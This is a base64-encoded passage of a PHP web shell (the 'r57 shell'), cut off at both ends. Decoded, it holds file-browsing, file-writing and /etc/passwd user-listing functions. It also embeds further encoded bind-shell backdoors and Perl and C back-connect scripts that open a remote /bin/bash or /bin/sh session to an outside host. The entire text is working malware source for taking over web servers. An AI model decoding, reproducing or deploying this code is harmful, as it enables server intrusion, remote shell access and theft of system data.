ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+Ijt9ZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjtkaWUoKTt9aWYoc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MyApeyRzYWZlX21vZGU9MSA7fSRTRVJWRVJfU09GVFdBUkU9Z2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTtpZihlbXB0eSgkU0VSVkVSX1NPRlRXQVJFKSl7JFNFUlZFUl9TT0ZUV0FSRT0iLSI7fWZ1bmN0aW9uIHdzKCRpKXtyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpO31mdW5jdGlvbiBleCgkY2ZlKXskcmVzPScnO2lmKCFlbXB0eSgkY2ZlKSl7fXJldHVybiAkcmVzO31mdW5jdGlvbiBzaGVsbF9nZXRfdXNlcnMoKXskdXNlcnM9YXJyYXkoKTskcm93cz1maWxlKCcvZXRjL3Bhc3N3ZCcpO2lmKCEkcm93cylyZXR1cm4gMCA7Zm9yZWFjaCgkcm93cyBhcyAkc3RyaW5nKXskdXNlcj1AZXhwbG9kZSgiOiIsJHN0cmluZyk7aWYoc3Vic3RyKCRzdHJpbmcsMCAsMSApIT0nIycpYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJbMCBdKTt9cmV0dXJuICR1c2Vyczt9ZnVuY3Rpb24gd2UoJGkpe2lmKCRHTE9CQUxTWydsYW5ndWFnZSddPT0icnUiKXskdGV4dD0nzvjo4ergISDN5SDs7uPzIOfg7+jx4PL8IOIg9ODp6yAnO31lbHNlIHskdGV4dD0iWy1dIEVSUk9SISBDYW4ndCB3cml0ZSBpbiBmaWxlICI7fWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Ii4kdGV4dC4kaS4iPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iO3JldHVybiBudWxsO31mdW5jdGlvbiByZSgkaSl7aWYoJEdMT0JBTFNbJ2xhbmd1YWdlJ109PSJydSIpeyR0ZXh0PSfO+Ojh6uAhIM3lIOzu4/Mg7/Du9+jy4PL8IPTg6esgJzt9ZWxzZSB7JHRleHQ9IlstXSBFUlJPUiEgQ2FuJ3QgcmVhZCBmaWxlICI7fWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJHRleHQuJGkuIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjtyZXR1cm4gbnVsbDt9ZnVuY3Rpb24gY2UoJGkpe2lmKCRHTE9CQUxTWydsYW5ndWFnZSddPT0icnUiKXskdGV4dD0izeUg8+Tg6+7x/CDx7ufk4PL8ICI7fWVsc2UgeyR0ZXh0PSJDYW4ndCBjcmVhdGUgIjt9ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Ii4kdGV4dC4kaS4iPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iO3JldHVybiBudWxsO31mdW5jdGlvbiBmZSgkbCwkbil7JHRleHRbJ3J1J109YXJyYXkoJ83lIPPk4Ovu8fwg7+7k6uv+9+jy/PH/IOogZnRwIPHl8OLl8PMnLCfO+Ojh6uAg4OLy7vDo5+D26Ogg7eAgZnRwIPHl8OLl8OUnLCfN5SDz5ODr7vH8IO/u7OXt//L8IOTo8OXq8u7w6P4g7eAgZnRwIPHl8OLl8OUnKTskdGV4dFsnZW5nJ109YXJyYXkoJ0Nvbm5lY3QgdG8gZnRwIHNlcnZlciBmYWlsZWQnLCdMb2dpbiB0byBmdHAgc2VydmVyIGZhaWxlZCcsJ0NhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCBzZXJ2ZXInKTtlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4iLiR0ZXh0WyRsXVskbl0uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjtyZXR1cm4gbnVsbDt9ZnVuY3Rpb24gbXIoJGwsJG4peyR0ZXh0WydydSddPWFycmF5KCfN5SDz5ODr7vH8IO7y7/Dg4ujy/CDv6PH87O4nLCfP6PH87O4g7vLv8ODi6+Xt7icpOyR0ZXh0WydlbmcnXT1hcnJheSgnQ2FuXCd0IHNlbmQgbWFpbCcsJ01haWwgc2VudCcpO2VjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJHRleHRbJGxdWyRuXS4iPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iO3JldHVybiBudWxsO31mdW5jdGlvbiBwZXJtcygkbW9kZSl7aWYoJEdMT0JBTFNbJ3dpbmRvd3MnXSlyZXR1cm4gMCA7aWYoJG1vZGUmMHgxMDAwICl7JHR5cGU9J3AnO31lbHNlIGlmKCRtb2RlJjB4MjAwMCApeyR0eXBlPSdjJzt9ZWxzZSBpZigkbW9kZSYweDQwMDAgKXskdHlwZT0nZCc7fWVsc2UgaWYoJG1vZGUmMHg2MDAwICl7JHR5cGU9J2InO31lbHNlIGlmKCRtb2RlJjB4ODAwMCApeyR0eXBlPSctJzt9ZWxzZSBpZigkbW9kZSYweGEwMDAgKXskdHlwZT0nbCc7fWVsc2UgaWYoJG1vZGUmMHhjMDAwICl7JHR5cGU9J3MnO31lbHNlICR0eXBlPSd1Jzskb3duZXJbInJlYWQiXT0oJG1vZGUmMDA0MDAgKT8ncic6Jy0nOyRvd25lclsid3JpdGUiXT0oJG1vZGUmMDAyMDAgKT8ndyc6Jy0nOyRvd25lclsiZXhlY3V0ZSJdPSgkbW9kZSYwMDEwMCApPyd4JzonLSc7JGdyb3VwWyJyZWFkIl09KCRtb2RlJjAwMDQwICk/J3InOictJzskZ3JvdXBbIndyaXRlIl09KCRtb2RlJjAwMDIwICk/J3cnOictJzskZ3JvdXBbImV4ZWN1dGUiXT0oJG1vZGUmMDAwMTAgKT8neCc6Jy0nOyR3b3JsZFsicmVhZCJdPSgkbW9kZSYwMDAwNCApPydyJzonLSc7JHdvcmxkWyJ3cml0ZSJdPSgkbW9kZSYwMDAwMiApPyd3JzonLSc7JHdvcmxkWyJleGVjdXRlIl09KCRtb2RlJjAwMDAxICk/J3gnOictJztpZigkbW9kZSYweDgwMCApJG93bmVyWyJleGVjdXRlIl09KCRvd25lclsnZXhlY3V0ZSddPT0neCcpPydzJzonUyc7aWYoJG1vZGUmMHg0MDAgKSRncm91cFsiZXhlY3V0ZSJdPSgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKT8ncyc6J1MnO2lmKCRtb2RlJjB4MjAwICkkd29ybGRbImV4ZWN1dGUiXT0oJHdvcmxkWydleGVjdXRlJ109PSd4Jyk/J3QnOidUJzskcz1zcHJpbnRmKCIlMXMiLCR0eXBlKTskcy49c3ByaW50ZigiJTFzJTFzJTFzIiwkb3duZXJbJ3JlYWQnXSwkb3duZXJbJ3dyaXRlJ10sJG93bmVyWydleGVjdXRlJ10pOyRzLj1zcHJpbnRmKCIlMXMlMXMlMXMiLCRncm91cFsncmVhZCddLCRncm91cFsnd3JpdGUnXSwkZ3JvdXBbJ2V4ZWN1dGUnXSk7JHMuPXNwcmludGYoIiUxcyUxcyUxcyIsJHdvcmxkWydyZWFkJ10sJHdvcmxkWyd3cml0ZSddLCR3b3JsZFsnZXhlY3V0ZSddKTtyZXR1cm4gdHJpbSgkcyk7fWZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSl7JHJldD0iPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7aWYoJHNpemUhPTAgKXskcmV0Lj0ic2l6ZT0iLiRzaXplLiIgIjt9JHJldC49InZhbHVlPVwiIi4kdmFsdWUuIlwiPiI7cmV0dXJuICRyZXQ7fWZ1bmN0aW9uIHdoaWNoKCRwcil7JHBhdGg9ZXgoIndoaWNoICRwciIpO2lmKCFlbXB0eSgkcGF0aCkpe3JldHVybiAkcGF0aDt9ZWxzZSB7cmV0dXJuICRwcjt9fWZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7JHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3Igd2UoJGZuYW1lKTtpZigkd19maWxlKXtAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpO0BmY2xvc2UoJHdfZmlsZSk7fX1mdW5jdGlvbiBzcigkbCwkdDEsJHQyKXtyZXR1cm4gIjx0ciBjbGFzcz10cjE+PHRkIGNsYXNzPXRkMSB3aWR0aD0iLiRsLiIlIGFsaWduPXJpZ2h0PiIuJHQxLiI8L3RkPjx0ZCBjbGFzcz10ZDEgYWxpZ249bGVmdD4iLiR0Mi4iPC90ZD48L3RyPiI7fWlmKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSl7ZnVuY3Rpb24gdmlld19zaXplKCRzaXplKXtpZigkc2l6ZT49MTA3Mzc0MTgyNCApeyRzaXplPUByb3VuZCgkc2l6ZS8xMDczNzQxODI0ICoxMDAgKS8xMDAgLiIgR0IiO31lbHNlaWYoJHNpemU+PTEwNDg1NzYgKXskc2l6ZT1Acm91bmQoJHNpemUvMTA0ODU3NiAqMTAwICkvMTAwIC4iIE1CIjt9ZWxzZWlmKCRzaXplPj0xMDI0ICl7JHNpemU9QHJvdW5kKCRzaXplLzEwMjQgKjEwMCApLzEwMCAuIiBLQiI7fWVsc2UgeyRzaXplPSRzaXplLiIgQiI7fXJldHVybiAkc2l6ZTt9fWZ1bmN0aW9uIERpckZpbGVzKCRkaXIsJHR5cGVzPScnKXskZmlsZXM9YXJyYXkoKTtpZigoJGhhbmRsZT1Ab3BlbmRpcigkZGlyKSkpe3doaWxlKEZBTFNFIT09KCRmaWxlPUByZWFkZGlyKCRoYW5kbGUpKSl7aWYoJGZpbGUhPSIuIiAmJiAkZmlsZSE9Ii4uIil7aWYoIWlzX2RpcigkZGlyLiIvIi4kZmlsZSkpe2lmKCR0eXBlcyl7JHBvcz1Ac3RycnBvcygkZmlsZSwiLiIpOyRleHQ9QHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpO2lmKEBpbl9hcnJheSgkZXh0LEBleHBsb2RlKCc7JywkdHlwZXMpKSkkZmlsZXNbXT0kZGlyLiIvIi4kZmlsZTt9ZWxzZSAkZmlsZXNbXT0kZGlyLiIvIi4kZmlsZTt9fX1AY2xvc2VkaXIoJGhhbmRsZSk7fXJldHVybiAkZmlsZXM7fWZ1bmN0aW9uIERpckZpbGVzV2lkZSgkZGlyKXskZmlsZXM9YXJyYXkoKTskZGlycz1hcnJheSgpO2lmKCgkaGFuZGxlPUBvcGVuZGlyKCRkaXIpKSl7d2hpbGUoZmFsc2UhPT0oJGZpbGU9QHJlYWRkaXIoJGhhbmRsZSkpKXtpZigkZmlsZSE9Ii4iICYmICRmaWxlIT0iLi4iKXtpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSl7JGZpbGU9QHN0cnRvdXBwZXIoJGZpbGUpOyRkaXJzWyRmaWxlXT0nJmx0O0RJUiZndDsnO31lbHNlICRmaWxlc1skZmlsZV09QGZpbGVzaXplKCRkaXIuIi8iLiRmaWxlKTt9fUBjbG9zZWRpcigkaGFuZGxlKTtAa3NvcnQoJGRpcnMpO0Brc29ydCgkZmlsZXMpOyRmaWxlcz1AYXJyYXlfbWVyZ2UoJGRpcnMsJGZpbGVzKTt9cmV0dXJuICRmaWxlczt9ZnVuY3Rpb24gRGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXskZmlsZXM9YXJyYXkoKTtpZigoJGhhbmRsZT1Ab3BlbmRpcigkZGlyKSkpe3doaWxlKGZhbHNlIT09KCRmaWxlPUByZWFkZGlyKCRoYW5kbGUpKSl7aWYoJGZpbGUhPSIuIiAmJiAkZmlsZSE9Ii4uIil7aWYoQGlzX2RpcigkZGlyLiIvIi4kZmlsZSkpJGZpbGVzPUBhcnJheV9tZXJnZSgkZmlsZXMsRGlyRmlsZXNSKCRkaXIuIi8iLiRmaWxlLCR0eXBlcykpO2Vsc2UgeyRwb3M9QHN0cnJwb3MoJGZpbGUsIi4iKTskZXh0PUBzdWJzdHIoJGZpbGUsJHBvcyxAc3RybGVuKCRmaWxlKS0kcG9zKTtpZigkdHlwZXMpe2lmKEBpbl9hcnJheSgkZXh0LGV4cGxvZGUoJzsnLCR0eXBlcykpKSRmaWxlc1tdPSRkaXIuIi8iLiRmaWxlO31lbHNlICRmaWxlc1tdPSRkaXIuIi8iLiRmaWxlO319fUBjbG9zZWRpcigkaGFuZGxlKTt9cmV0dXJuICRmaWxlczt9ZnVuY3Rpb24gRGlyUHJpbnRIVE1MSGVhZGVycygkZGlyKXskcG9ja2V0cz0nJzskaGFuZGxlPUBvcGVuZGlyKCRkaXIpIG9yIGRpZSgiQ2FuJ3Qgb3BlbiBkaXJlY3RvcnkgJGRpciIpO2VjaG8gIiAgICA8dWwgc3R5bGU9J21hcmdpbi1sZWZ0OiAwcHg7IHBhZGRpbmctbGVmdDogMjBweDsnPlxuIjt3aGlsZShmYWxzZSE9PSgkZmlsZT1AcmVhZGRpcigkaGFuZGxlKSkpe2lmKCRmaWxlIT0iLiIgJiYgJGZpbGUhPSIuLiIpe2lmKEBpc19kaXIoJGRpci4iLyIuJGZpbGUpKXtlY2hvICIgICAgICA8bGk+PGI+WyAkZmlsZSBdPC9iPjwvbGk+XG4iO0RpclByaW50SFRNTEhlYWRlcnMoJGRpci4iLyIuJGZpbGUpO31lbHNlIHskcG9zPUBzdHJycG9zKCRmaWxlLCIuIik7JGV4dD1Ac3Vic3RyKCRmaWxlLCRwb3MsQHN0cmxlbigkZmlsZSktJHBvcyk7aWYoQGluX2FycmF5KCRleHQsYXJyYXkoJy5odG0nLCcuaHRtbCcpKSl7JGhlYWRlcj0nLT1Ob25lPS0nOyRzdHJpbmdzPUBmaWxlKCRkaXIuIi8iLiRmaWxlKSBvciBkaWUoIkNhbid0IG9wZW4gZmlsZSAiLiRkaXIuIi8iLiRmaWxlKTtmb3IoJGE9MCA7JGE8Y291bnQoJHN0cmluZ3MpOyRhKyspeyRwYXR0ZXJuPScoPHRpdGxlPiguKyk8L3RpdGxlPiknO2lmKEBlcmVnaSgkcGF0dGVybiwkc3RyaW5nc1skYV0sJHBvY2tldHMpKXskaGVhZGVyPSImbGFxdW87Ii4kcG9ja2V0c1syIF0uIiZyYXF1bzsiO2JyZWFrO319ZWNobyAiICAgICAgPGxpPiIuJGhlYWRlci4iPC9saT5cbiI7fX19fWVjaG8gIiAgICA8L3VsPlxuIjtAY2xvc2VkaXIoJGhhbmRsZSk7fWNsYXNzIFNlYXJjaFJlc3VsdHt2YXIgJHRleHQ7dmFyICRGaWxlc1RvU2VhcmNoO3ZhciAkUmVzdWx0RmlsZXM7dmFyICRGaWxlc1RvdGFsO3ZhciAkTWF0Y2hlc0NvdW50O3ZhciAkRmlsZU1hdHNjaGVzQ291bnQ7dmFyICRUaW1lU3RhcnQ7dmFyICRUaW1lVG90YWw7dmFyICR0aXRsZXM7ZnVuY3Rpb24gU2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJyl7JGRpcnM9QGV4cGxvZGUoIjsiLCRkaXIpOyR0aGlzLT5GaWxlc1RvU2VhcmNoPWFycmF5KCk7Zm9yKCRhPTAgOyRhPGNvdW50KCRkaXJzKTskYSsrKSR0aGlzLT5GaWxlc1RvU2VhcmNoPUBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTskdGhpcy0+dGV4dD0kdGV4dDskdGhpcy0+RmlsZXNUb3RhbD1AY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOyR0aGlzLT5UaW1lU3RhcnQ9Z2V0bWljcm90aW1lKCk7JHRoaXMtPk1hdGNoZXNDb3VudD0wIDskdGhpcy0+UmVzdWx0RmlsZXM9YXJyYXkoKTskdGhpcy0+RmlsZU1hdGNoZXNDb3VudD1hcnJheSgpOyR0aGlzLT50aXRsZXM9YXJyYXkoKTt9ZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpe3JldHVybiAkdGhpcy0+RmlsZXNUb3RhbDt9ZnVuY3Rpb24gR2V0VGl0bGVzKCl7cmV0dXJuICR0aGlzLT50aXRsZXM7fWZ1bmN0aW9uIEdldFRpbWVUb3RhbCgpe3JldHVybiAkdGhpcy0+VGltZVRvdGFsO31mdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKXtyZXR1cm4gJHRoaXMtPk1hdGNoZXNDb3VudDt9ZnVuY3Rpb24gR2V0RmlsZU1hdGNoZXNDb3VudCgpe3JldHVybiAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudDt9ZnVuY3Rpb24gR2V0UmVzdWx0RmlsZXMoKXtyZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzO31mdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCAsJGNhc2U9MCApeyRxcT1AZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOyRkZWxpbT0nfCc7aWYoJHBocmFzZSlmb3JlYWNoKCRxcSBhcyAkaz0+JHYpJHFxWyRrXT0nXGInLiR2LidcYic7JHdvcmRzPScoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7JHBhdHRlcm49Ii8iLiR3b3Jkcy4iLyI7aWYoISRjYXNlKSRwYXR0ZXJuLj0naSc7Zm9yZWFjaCgkdGhpcy0+RmlsZXNUb1NlYXJjaCBhcyAkaz0+JGZpbGVuYW1lKXskdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdPTAgOyRGaWxlU3RyaW5ncz1AZmlsZSgkZmlsZW5hbWUpIG9yIEBuZXh0O2ZvcigkYT0wIDskYTxAY291bnQoJEZpbGVTdHJpbmdzKTskYSsrKXskY291bnQ9MCA7JEN1clN0cmluZz0kRmlsZVN0cmluZ3NbJGFdOyRDdXJTdHJpbmc9QFRyaW0oJEN1clN0cmluZyk7JEN1clN0cmluZz1Ac3RyaXBfdGFncygkQ3VyU3RyaW5nKTskYWE9Jyc7aWYoKCRjb3VudD1AcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSl7JEN1clN0cmluZz1AcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCI8U1BBTiBzdHlsZT0nY29sb3I6ICM5OTAwMDA7Jz48Yj5cXDE8L2I+PC9TUEFOPiIsJEN1clN0cmluZyk7JHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMSBdPSRDdXJTdHJpbmc7JHRoaXMtPk1hdGNoZXNDb3VudCs9JGNvdW50OyR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0rPSRjb3VudDt9fX0kdGhpcy0+VGltZVRvdGFsPUByb3VuZChnZXRtaWNyb3RpbWUoKS0kdGhpcy0+VGltZVN0YXJ0LDQgKTt9fWZ1bmN0aW9uIGdldG1pY3JvdGltZSgpe2xpc3QoJHVzZWMsJHNlYyk9QGV4cGxvZGUoIiAiLEBtaWNyb3RpbWUoKSk7cmV0dXJuICgoZmxvYXQpJHVzZWMrKGZsb2F0KSRzZWMpO30kcG9ydF9iaW5kX2JkX2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjVjR1Z6TG1nK0RRb2phVzVqYkhWa1pTDQpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJDQpHRnlaMk03RFFwamFHRnlJQ29xWVhKbmRqc05DbnNnSUEwS0lHbHVkQ0J6YjJOclptUXNJRzVsZDJaa093MEtJR05vWVhJZ1luVm1Xek13WFRzTkNpQnpkSEoxWTNRZ2MyOWphMkZrWkhKZmFXNGdjbVZ0DQpiM1JsT3cwS0lHbG1LR1p2Y21zb0tTQTlQU0F3S1NCN0lBMEtJSEpsYlc5MFpTNXphVzVmWm1GdGFXeDVJRDBnUVVaZlNVNUZWRHNOQ2lCeVpXMXZkR1V1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWhoZEc5DQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGDQpOUFEwdGZVMVJTUlVGTkxEQXBPdzBLSUdsbUtDRnpiMk5yWm1RcElIQmxjbkp2Y2lnaWMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLDQppa21jbVZ0YjNSbExDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWhZMk5sY0hRb2MyOWphMlprTERBc01DazdEUW9nDQpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrDQo3RFFvZ0lDQnlaV0ZrS0c1bGQyWmtMR0oxWml4emFYcGxiMllvWW5WbUtTazdEUW9nSUNCcFppQW9JV05vY0dGemN5aGhjbWQyV3pKZExHSjFaaWtwRFFvZ0lDQnplWE4wWlcwb0ltVmphRzhnZDJWc1kyDQo5dFpTQjBieUJ5TlRjZ2MyaGxiR3dnSmlZZ0wySnBiaTlpWVhOb0lDMXBJaWs3RFFvZ0lDQmxiSE5sRFFvZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVUyOXljbmtpS1RzTkNpQWdJR05zYjNObEtHNWxkDQoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1DQpkR1Z5WldRcE8ya3JLeWtnRFFwN0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNiaWNwRFFwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzZ0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNjaWNwRFFwDQpsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNOQ24wTkNtbG1JQ2doYzNSeVkyMXdLR0poYzJVc1pXNTBaWEpsWkNrcERRcHlaWFIxY200Z01Ec05DbjA9IjskcG9ydF9iaW5kX2JkX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2WW1GemFDQXRhU0k3RFFwcFppQW9RRUZTUjFZZ1BDQXhLU0I3SUdWNGFYUW9NU2s3SUgwTkNpUk1TDQpWTlVSVTVmVUU5U1ZEMGtRVkpIVmxzd1hUc05DblZ6WlNCVGIyTnJaWFE3RFFva2NISnZkRzlqYjJ3OVoyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzDQpKbE5QUTB0ZlUxUlNSVUZOTENSd2NtOTBiMk52YkNrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWDQpUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFeEpVMVJGVGw5UVQxSlVMRWxPUVVSRVVsOUJUbGtwS1NCOGZDQmthV1VnSWtOaGJuUWdiM0JsYmlCd2IzSjBYRzRpT3cwS2JHDQpsemRHVnVLRk1zTXlrZ2ZId2daR2xsSUNKRFlXNTBJR3hwYzNSbGJpQndiM0owWEc0aU93MEtkMmhwYkdVb01Ta05DbnNOQ21GalkyVndkQ2hEVDA1T0xGTXBPdzBLYVdZb0lTZ2tjR2xrUFdadmNtc3BLDQpRMEtldzBLWkdsbElDSkRZVzV1YjNRZ1ptOXlheUlnYVdZZ0tDRmtaV1pwYm1Wa0lDUndhV1FwT3cwS2IzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DbTl3Wlc0Z1UxUkVUMVZVTENJK0prTlBUazRpDQpPdzBLYjNCbGJpQlRWRVJGVWxJc0lqNG1RMDlPVGlJN0RRcGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DbU5zYjNODQpsSUVOUFRrNDdEUXBsZUdsMElEQTdEUXA5RFFwOSI7JGJhY2tfY29ubmVjdD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHTnRaRDBnSW14NWJuZ2lPdzBLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpTzJWag0KYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUg0KaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVA0Kc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSQ0Ka1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaQ0KS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbA0KT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7JGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIy